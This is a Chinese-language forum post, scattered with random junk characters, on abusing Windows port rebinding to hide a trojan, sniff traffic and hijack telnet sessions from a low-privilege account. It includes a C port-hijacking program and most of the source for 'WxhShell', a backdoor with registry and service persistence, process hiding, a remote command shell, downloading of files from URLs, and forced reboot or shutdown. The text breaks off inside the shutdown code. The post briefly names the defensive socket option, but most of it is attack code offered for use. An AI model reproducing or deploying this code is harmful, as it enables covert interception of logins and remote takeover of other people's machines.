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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "%YVAaN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X%$1%)C9  
{%\@Z-9%q,  
  saddr.sin_family = AF_INET; *nK4XgD  
lA` qB1x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d`,z4 _  
l{gR6U{e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i#aKW'  
o)GesgxFa5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #w@FBFr@  
|\Q2L;4C  
  这意味着什么?意味着可以进行如下的攻击: {PkR6.XhR  
q|}O-A*wa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <TTBIXV  
A34O(fE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DX^8w?t  
~z(0XKq0d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r PTfwhs  
%d%FI"!K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P]iJ"d]+X  
!"ir}Y%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H.;2o(vD  
V,% K"b=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oE_*hp+  
1(pv 3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rp4{lHw>C/  
aCJ-T8?'  
  #include _F(Np\%_  
  #include ^ E_chx-e}  
  #include $o. ;}  
  #include    T[I7.8g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xSqr=^  
  int main() *&tTiv{^  
  { a)*(**e$*i  
  WORD wVersionRequested; dV{mmHL  
  DWORD ret; H& $M/`  
  WSADATA wsaData; njaKU?6%d2  
  BOOL val; *+k yuY J  
  SOCKADDR_IN saddr; OrF.wcg  
  SOCKADDR_IN scaddr; jZQ{ XMF  
  int err; P 'o]#Az  
  SOCKET s; CED[\ n  
  SOCKET sc; 1>/ iYf  
  int caddsize; v$xurj:v#i  
  HANDLE mt; =4sx(<  
  DWORD tid;   /x)i}M)  
  wVersionRequested = MAKEWORD( 2, 2 ); YhzDw8f  
  err = WSAStartup( wVersionRequested, &wsaData ); iUFG!,+d  
  if ( err != 0 ) { d+vAm3.Dg  
  printf("error!WSAStartup failed!\n"); xSm~V3b c  
  return -1; &JYkh >  
  } /6F\]JwU  
  saddr.sin_family = AF_INET; 7[mP@ {  
   V(XZ7<& {  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^G 'n z  
*8+HQ[[#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q{5.;{/eC  
  saddr.sin_port = htons(23); RUq[HxF) 6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K%_UNivN  
  { lWH#/5`h  
  printf("error!socket failed!\n"); Bt#'6::  
  return -1; "%bU74>  
  } Mnk-"d  
  val = TRUE; #|3,DZ|)F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f~,Ml*Zp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D+jE{v'  
  { S_ nAO\h  
  printf("error!setsockopt failed!\n"); JIjo^zOXsc  
  return -1; l D->1=z  
  } ^QjkZ^<dD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (sI`FW_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hT,rcIkg:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '? -N  
y>:U&P^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `A5n6*A7  
  { CbXSJDs  
  ret=GetLastError(); M6 8foeeN  
  printf("error!bind failed!\n"); 7<=p*  
  return -1; `Kn+d~S4  
  } "',;pGg|K  
  listen(s,2); 7KGb2V<t  
  while(1) ]jPP]Z:y  
  { =c$x xEDD  
  caddsize = sizeof(scaddr); "Bwmq9Jq  
  //接受连接请求 sxS%1hp3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a#G3dY>  
  if(sc!=INVALID_SOCKET) 6xA xLZz<  
  { R^=v&c{@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ay| |yn:  
  if(mt==NULL) hrO9_B|#  
  { *>`6{0, 9  
  printf("Thread Creat Failed!\n"); {; th~[  
  break; =}@1Z~  
  } %!AzFL J|Z  
  } 2s> BNWTU  
  CloseHandle(mt); #qUGc`  
  } MslgQmlM  
  closesocket(s); Q, "8Ty  
  WSACleanup(); I}f7|hYX  
  return 0; f& \ Bs8la  
  }   lFduX D  
  DWORD WINAPI ClientThread(LPVOID lpParam) m`n~-_  
  { /2hRL yeAZ  
  SOCKET ss = (SOCKET)lpParam; Q&+)Kp]A  
  SOCKET sc; FC~%G&K/q^  
  unsigned char buf[4096]; FV3[7w=D\  
  SOCKADDR_IN saddr; :>o 0zG[;f  
  long num; X$@qs9?)^  
  DWORD val; Ryygq,>VD.  
  DWORD ret; XPZ8*8JL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k.jBu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   49<t2^1q  
  saddr.sin_family = AF_INET; 6|{&7=1t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V1GkX =H},  
  saddr.sin_port = htons(23); .)Pul|)d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]zCD1 *)  
  { x]`@%8Sm  
  printf("error!socket failed!\n"); @HSK[[?  
  return -1; ;<;~;od*/  
  } '\+"3!$  
  val = 100; #U7pT!F x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ^u#iz  
  { I.(@#v7T  
  ret = GetLastError(); |W$|og'wC  
  return -1; 61_-G#W  
  } `u R`O9)e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1c429&-  
  { RHpjJZUV  
  ret = GetLastError(); R*FDg;t4  
  return -1; $duT'G, -  
  } .Pte}pM"v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6w(r}yO]  
  { S("dU`T?  
  printf("error!socket connect failed!\n"); ~IWdFUKk  
  closesocket(sc); [}GK rI  
  closesocket(ss); B"\9slX  
  return -1; "wg$ H1K  
  } 9$U4x|n  
  while(1) ggitUQ+t;G  
  { Y)$%-'=b+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q$ Dx:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E/wxX#]\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^W9O_5\g4a  
  num = recv(ss,buf,4096,0); % ;R&cSZ  
  if(num>0) V82I%gPF  
  send(sc,buf,num,0); >;bym)  
  else if(num==0) =$L+J O  
  break; cDzb}W*UM  
  num = recv(sc,buf,4096,0); =J]EVD   
  if(num>0) *}';q`u }  
  send(ss,buf,num,0); ZZHzC+O#^  
  else if(num==0) L<3+D  
  break; q8-hbWNm4  
  } [^bq?w  
  closesocket(ss); JR xY#k  
  closesocket(sc); VCiq'LOR,<  
  return 0 ; @D=%J!!*  
  } 5*-RIs! 2  
m"n" 1;o=  
4[JF.O6}  
========================================================== :g' 'GqGZ  
}&v-<qC^  
下边附上一个代码,,WXhSHELL HwZl"!;Mry  
HC1<zW[  
========================================================== ^k$Bx_{  
O6 s3#iu  
#include "stdafx.h" rIYO(}Fl  
HS ]c~  
#include <stdio.h> SdYb T)y  
#include <string.h> bJ1Nf|3~E  
#include <windows.h> TXXG0 G  
#include <winsock2.h> u0,QsD)_X0  
#include <winsvc.h> )ZBNw{nh  
#include <urlmon.h> n-],!pL^  
? daxb  
#pragma comment (lib, "Ws2_32.lib") 2kDv (".  
#pragma comment (lib, "urlmon.lib") -K(d]-yv  
Zlh 2qq  
#define MAX_USER   100 // 最大客户端连接数 D)DD6  
#define BUF_SOCK   200 // sock buffer S@S4<R1{\  
#define KEY_BUFF   255 // 输入 buffer ys>n%24qP  
'UxI-L t  
#define REBOOT     0   // 重启 /Z!$bD  
#define SHUTDOWN   1   // 关机 r\F2X J^  
dT% eq7=  
#define DEF_PORT   5000 // 监听端口 BBGub?(dR  
+F60_O `  
#define REG_LEN     16   // 注册表键长度 mCk_c  
#define SVC_LEN     80   // NT服务名长度 @ <2y+_e  
rPyjr(I"_  
// 从dll定义API Uf ]$I`T#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nTD%i~t~o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2p#d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QA;,/iw`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a#%*H  
ts@Z5Yw*!  
// wxhshell配置信息 83 R_8  
struct WSCFG { ZWGX*F#}P  
  int ws_port;         // 监听端口 (VI(Nv:o@  
  char ws_passstr[REG_LEN]; // 口令 Jr;w>8B),  
  int ws_autoins;       // 安装标记, 1=yes 0=no wbcip8<t  
  char ws_regname[REG_LEN]; // 注册表键名 n'{jc 6&|  
  char ws_svcname[REG_LEN]; // 服务名 0zT-]0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q&w_kz.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2RF3pIFrm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;<' 'oY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rP2h9Cb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X[H.t$w5A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7-n HPDp'  
3`vKEThY)  
}; K@%T5M4j  
dY0W=,X$7T  
// default Wxhshell configuration 5pDE!6gQ  
struct WSCFG wscfg={DEF_PORT, 2-N7%]h  
    "xuhuanlingzhe", y= f.;  
    1, NIQ}+xpC  
    "Wxhshell", ZsXw]Wa  
    "Wxhshell", QRKP;aYt  
            "WxhShell Service", *{k{  
    "Wrsky Windows CmdShell Service", IDw`k[k  
    "Please Input Your Password: ", z"\w9 @W  
  1, &{glwVKV  
  "http://www.wrsky.com/wxhshell.exe", &\~*%:C  
  "Wxhshell.exe" D]aQt%TL  
    }; ~"vS$>+  
!jU{ }RCR  
// 消息定义模块 "(p/3qFY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7kA+F +f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iHf):J?8 y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zjcSn7iu  
char *msg_ws_ext="\n\rExit."; f{O-\  
char *msg_ws_end="\n\rQuit."; )m8Gbkj<  
char *msg_ws_boot="\n\rReboot..."; ar,v/l>d4N  
char *msg_ws_poff="\n\rShutdown..."; SFtcO  
char *msg_ws_down="\n\rSave to "; qNHI$r'  
l<4P">M!.  
char *msg_ws_err="\n\rErr!"; N}NKQ]=  
char *msg_ws_ok="\n\rOK!"; %3TioM[B  
tWzBQx   
char ExeFile[MAX_PATH]; $uFvZ?w&  
int nUser = 0; oq,nfUA  
HANDLE handles[MAX_USER]; ni2 [K`  
int OsIsNt; dMsS OP0E  
L>E;cDB  
SERVICE_STATUS       serviceStatus; \?Z7|   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1pG|jT+Bi  
x0{B7/FN  
// 函数声明 S#oBO%!  
int Install(void); @6+_0^  
int Uninstall(void); dqQJC qc!  
int DownloadFile(char *sURL, SOCKET wsh); Yy]TU} PY  
int Boot(int flag); yi~]}M  
void HideProc(void); A& B|n!;b  
int GetOsVer(void); Pw]r&)I`y[  
int Wxhshell(SOCKET wsl); )6X-m9.X  
void TalkWithClient(void *cs); WjR2:kT  
int CmdShell(SOCKET sock); {{_v.d~1  
int StartFromService(void); cfv: Ld m  
int StartWxhshell(LPSTR lpCmdLine); 1BW9,Xr  
jVOq/o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D*VO;?D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ntPj9#lf  
+$VDV4l  
// 数据结构和表定义 u {\>iQ   
SERVICE_TABLE_ENTRY DispatchTable[] = W)D?8*  
{ (;05=DsO  
{wscfg.ws_svcname, NTServiceMain}, WoB'B|%  
{NULL, NULL} [N~-9  
}; YqWNp  
:BV$3]y  
// 自我安装 nVgvn2N/  
int Install(void) ZnAQO3%y  
{ tq~f9EvC  
  char svExeFile[MAX_PATH]; GhcH"D%-  
  HKEY key; S *J{  
  strcpy(svExeFile,ExeFile); Wtk|}>Pf  
%(6+{'j~#  
// 如果是win9x系统,修改注册表设为自启动 W)]&G}U<  
if(!OsIsNt) { p$x>I3C(\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I8T*_u^_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qLxcr/fK  
  RegCloseKey(key); VB4V[jraCF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T|h!06   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }S')!3[G  
  RegCloseKey(key); .mqMzV  
  return 0; j r .{M  
    } j x< <h _j  
  } rwW"B  
} "M2WK6?O5  
else { *\}$,/m['  
6|n3Q$p  
// 如果是NT以上系统,安装为系统服务 k'&1,78[l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3Rsrb  
if (schSCManager!=0) ;@gI*i N"  
{ -$=RQH$9  
  SC_HANDLE schService = CreateService aQY.96yo  
  ( _dAn/rj   
  schSCManager, Ez-AQ'  
  wscfg.ws_svcname, ;g+fY 6  
  wscfg.ws_svcdisp, IDqUiN  
  SERVICE_ALL_ACCESS, S5F5Tr;TN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {2 T:4i5  
  SERVICE_AUTO_START, F=*t]X[z}  
  SERVICE_ERROR_NORMAL, :@E^oNKa0  
  svExeFile, <?L5bhq  
  NULL, cw)J+Lyh  
  NULL, FqnD"]A  
  NULL, + `'wY?  
  NULL, U+4[w`a}  
  NULL ]goV Q'Y  
  ); 4, Vx3QFZ  
  if (schService!=0) =s'H o  
  { 5\}Y=Pa  
  CloseServiceHandle(schService); %RF$Y=c'C  
  CloseServiceHandle(schSCManager); %z[=T@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1B&XM^>/  
  strcat(svExeFile,wscfg.ws_svcname); )>Z@')Uk:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O tQ]\:p7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l<S3<'&  
  RegCloseKey(key); ;"EDFH#W  
  return 0; SJLs3iz_)  
    } %t1Z!xv_  
  } 4$N,|bt  
  CloseServiceHandle(schSCManager); [5-Ik T0  
} g26_#4 P  
}  vmfFR  
^e =xEZD  
return 1; q%f90  
} ' Gx\  
glM42s  
// 自我卸载 mAIl)mq|g  
int Uninstall(void) 2Z<S^9O9  
{ G\k&s F  
  HKEY key; KMfRMc&  
Td7Q%7p:  
if(!OsIsNt) { ~mah.8G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'aD"v>  
  RegDeleteValue(key,wscfg.ws_regname); <j#IR  
  RegCloseKey(key); F8tMZ,:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ty2! .  
  RegDeleteValue(key,wscfg.ws_regname); gwg~4:W  
  RegCloseKey(key); ).u>%4=6  
  return 0; /Hm/%os  
  } ]0%{ IgB  
} 3&c'3y:b  
} ^:f)XZ  
else { ^Dfqc-]  
K~^o06 Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6wq%4RI0  
if (schSCManager!=0) p`U#  
{ lq`7$7-4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )ytP$,r![S  
  if (schService!=0) QP!;Gwqr  
  { 1{cF/ :o  
  if(DeleteService(schService)!=0) { lSd tw b  
  CloseServiceHandle(schService); j 7O!uUQQ  
  CloseServiceHandle(schSCManager); #%OS=.V  
  return 0; v!<FeLW  
  } -{d(~XIo  
  CloseServiceHandle(schService); f1o^:}5x  
  } SjJ$Oinc  
  CloseServiceHandle(schSCManager); ) 54cG  
} _x!/40^G  
} }I`o%GL  
l 8GAZ*+  
return 1; 7+[L6q/K  
} YLSDJ$K6  
/9P7;1?  
// 从指定url下载文件 XIM?$p^  
int DownloadFile(char *sURL, SOCKET wsh) YxU->Wi]G  
{ ~\u>jel  
  HRESULT hr; Z~|%asjFE  
char seps[]= "/"; ~WB-WI\  
char *token; yC|odX#  
char *file; w`#9Re  
char myURL[MAX_PATH]; UA0( cK  
char myFILE[MAX_PATH]; B*QLKO:)i  
o(3OChH  
strcpy(myURL,sURL); a~-k} G5  
  token=strtok(myURL,seps); f|s,%AU"i  
  while(token!=NULL) %JA^b5''  
  { W7~OU(}[`  
    file=token; B&*`A&^y  
  token=strtok(NULL,seps); pg<c vok  
  } P{2ED1T\  
$3970ni,?O  
GetCurrentDirectory(MAX_PATH,myFILE); ?$/W3Xn0%  
strcat(myFILE, "\\"); w0<1=;_%  
strcat(myFILE, file); i5*/ZA_  
  send(wsh,myFILE,strlen(myFILE),0); !g~u'r'1  
send(wsh,"...",3,0); #Wv8+&n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Mv'*.7  
  if(hr==S_OK) j zZEP4  
return 0; HGj[\kU~  
else ?#ywUEY* i  
return 1; $V_w4!:Q  
$B%3#-  
} %]F{aR  
/KO2y0`  
// 系统电源模块 ?i~mt'O  
int Boot(int flag) 7~D5Gy  
{ nK]L0*s  
  HANDLE hToken; f~p[izt  
  TOKEN_PRIVILEGES tkp; bD 1IY1  
@_;vE(!5  
  if(OsIsNt) { JVPLE*T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OF! n}.O(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0{Zwg0&  
    tkp.PrivilegeCount = 1; = o1&.v2j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nC9x N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D r6u0rx8  
if(flag==REBOOT) { lOIf4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -li;w tCS  
  return 0; hN;$'%^  
} Thp!X/2O`  
else { 8&#)}A}x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^p\n/#B  
  return 0; M>jk"*hA|  
} FJsg3D*@J  
  } %w/:mH3FA  
  else { K!!#";Eo  
if(flag==REBOOT) { ;@[ax{ J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) If@%^'^ON=  
  return 0; r$!  
} %i.;~>  
else { \e?w8R.6w^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G`u";w_  
  return 0; $n<X'7@0  
} z'Fu} ho  
} F4&`0y:  
'd<1;Ayw  
return 1; FK,YVY  
} M >s,I^  
/JP%gD"8  
// win9x进程隐藏模块 M/8EaQs}  
void HideProc(void) 0"c(n0L  
{ ;5aAnvgW  
+[=%W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {gS7pY%_W  
  if ( hKernel != NULL ) ? y^t  
  { G5zsId dS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FS6ZPjG)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hKQg:30<  
    FreeLibrary(hKernel); XSo$;q\  
  } tWI4x3 &2  
9,A HC2kn%  
return; 8lT2qqlr  
} *W1:AGpz  
e5m-7{h@  
// 获取操作系统版本 /A%31WE&1  
int GetOsVer(void) DI:"+KMq{  
{ !}&f2!?.W  
  OSVERSIONINFO winfo; ^36m$J$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6^Ax3# q  
  GetVersionEx(&winfo); IdL~0;W7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ZG-[Gz  
  return 1; ZfWF2%]<  
  else X}j_k=,C  
  return 0; dWDf(SS  
} }!5+G:JAh  
]1i1_AR'`  
// 客户端句柄模块 XZ1<sm8t."  
int Wxhshell(SOCKET wsl) @:G#[>nKe  
{ L]Dl}z  
  SOCKET wsh; 7T9Mo .  
  struct sockaddr_in client;  *4{GI D  
  DWORD myID; $pYT#_P!/  
'0E^th#u-0  
  while(nUser<MAX_USER) FTZaN1%`  
{ oxgh;v*  
  int nSize=sizeof(client); sT%^W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oi/bp#(fa  
  if(wsh==INVALID_SOCKET) return 1; ADVHi3b  
"_36WX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uz; pNWMk  
if(handles[nUser]==0) SXm Hn.?  
  closesocket(wsh); '?v-o)X  
else HP eN0=7>  
  nUser++; SRpPLY{:F  
  } -JB~yO?0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a?X{k|;!7u  
V|zatMHs  
  return 0; I'T@}{h  
} %:7fAB,PA  
"A%JT3  
// 关闭 socket 4"y1M=he  
void CloseIt(SOCKET wsh) `q(eB=6;[  
{ :7Smsc"B!  
closesocket(wsh); y6 _,U/9  
nUser--; Nh/B8:035  
ExitThread(0); "yc_*R(pU  
} ^bDh[O  
>ay% !X@3"  
// 客户端请求句柄 K\vyfYi  
void TalkWithClient(void *cs) Z{J{6j  
{ C*1,aLSw  
$ -n?q w  
  SOCKET wsh=(SOCKET)cs; >`!Lh`n7_  
  char pwd[SVC_LEN]; 2K&5Kt/  
  char cmd[KEY_BUFF]; SLMnEtyTS  
char chr[1]; Hwm] l`E]  
int i,j; mtg3}etA  
>YW_}kd  
  while (nUser < MAX_USER) { `p)$7!  
OKp0@A)8  
if(wscfg.ws_passstr) { {Kkut?5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2YL)" w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;wvhe;!  
  //ZeroMemory(pwd,KEY_BUFF); ;`MKi5g  
      i=0; W|aFEY  
  while(i<SVC_LEN) { q_ |YLs`  
exQU  
  // 设置超时 6YeEr!zt%  
  fd_set FdRead; l^*'W(%  
  struct timeval TimeOut; gx)!0n;  
  FD_ZERO(&FdRead); r @ IyK%  
  FD_SET(wsh,&FdRead); ^u[n!R\  
  TimeOut.tv_sec=8; PQFr4EY?i  
  TimeOut.tv_usec=0; v*k}{M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h1'j1uI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (lBwkQNQGd  
^saH^kg1"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <; (pol|  
  pwd=chr[0]; AqHH^adzA:  
  if(chr[0]==0xd || chr[0]==0xa) { !uJD hC  
  pwd=0; Q(J6;s#b  
  break; 8KU5x#  
  } ZdjmZx%%  
  i++; =u#xPI0:  
    }  wN4N 2  
XFU['BI  
  // 如果是非法用户,关闭 socket  "0( _  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $8"G9r  
} ggn:DE "  
a*gzVE7W#n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D[ -Gzqh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p Y[dJxB  
c8cPGm#i  
while(1) { vUU)zZB ~  
@L ,hA v ^  
  ZeroMemory(cmd,KEY_BUFF); :n} NQzs  
2!+saf^-,  
      // 自动支持客户端 telnet标准   sF`ELrR \  
  j=0; &n)=OConge  
  while(j<KEY_BUFF) { +7]]=e<[E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g~i%*u,Y<  
  cmd[j]=chr[0]; +jPs0?}s  
  if(chr[0]==0xa || chr[0]==0xd) { [9S?  
  cmd[j]=0; R;68C6 4  
  break; U:n3V  
  } KPcOW#.T  
  j++; e MT5bn  
    } @ !UuK;  
]a}K%D)H  
  // 下载文件 ,XJ Xw(LM  
  if(strstr(cmd,"http://")) { !leLOi2T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'nO%1BZj+  
  if(DownloadFile(cmd,wsh)) U)n+j}vi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O*8 .kqlgt  
  else KiDL]2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &2EimP  
  } k15B5  
  else { iVg3=R)[1  
Pl}>  
    switch(cmd[0]) { n\ yDMY  
  zFn-V EJ)  
  // 帮助 '%2q'LqSA  
  case '?': { `?fY!5BA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @6N$!Q?  
    break; ?pF7g$>q  
  } .(7 end<  
  // 安装 G2A^+R0\  
  case 'i': { 5#|f:M]Bo|  
    if(Install()) ]N\J~Gm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -9Ll'fbq  
    else #@#/M)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EqV]/0-\  
    break; v7ShXX:  
    } QX]~|?q  
  // 卸载 M+akD  
  case 'r': { l^B PTg)X@  
    if(Uninstall()) C{r Sq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,W!v0*uxp&  
    else >*hY1@N1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X<OOgC  
    break; {O4y Y=G  
    } g=T !fF=  
  // 显示 wxhshell 所在路径 <]jKpJ{3N  
  case 'p': { k{?Pgf27  
    char svExeFile[MAX_PATH];  9z9EK'g  
    strcpy(svExeFile,"\n\r"); w[bhm$SX]B  
      strcat(svExeFile,ExeFile); ^HYrJr$y  
        send(wsh,svExeFile,strlen(svExeFile),0); yv@td+-"D  
    break; sSM^net0  
    } ^` 96L  
  // 重启 :UMtknV  
  case 'b': { oY#62&wk4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |N{?LKR %  
    if(Boot(REBOOT)) zuq7 x7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :slVja$e  
    else { -/k;VT|  
    closesocket(wsh); ]~!jf  
    ExitThread(0); h]6"~ m  
    } iL%Q@!ka  
    break; m3cO { 1I  
    } 23F<f+2S  
  // 关机 01 vEt  
  case 'd': { v7i5R !  
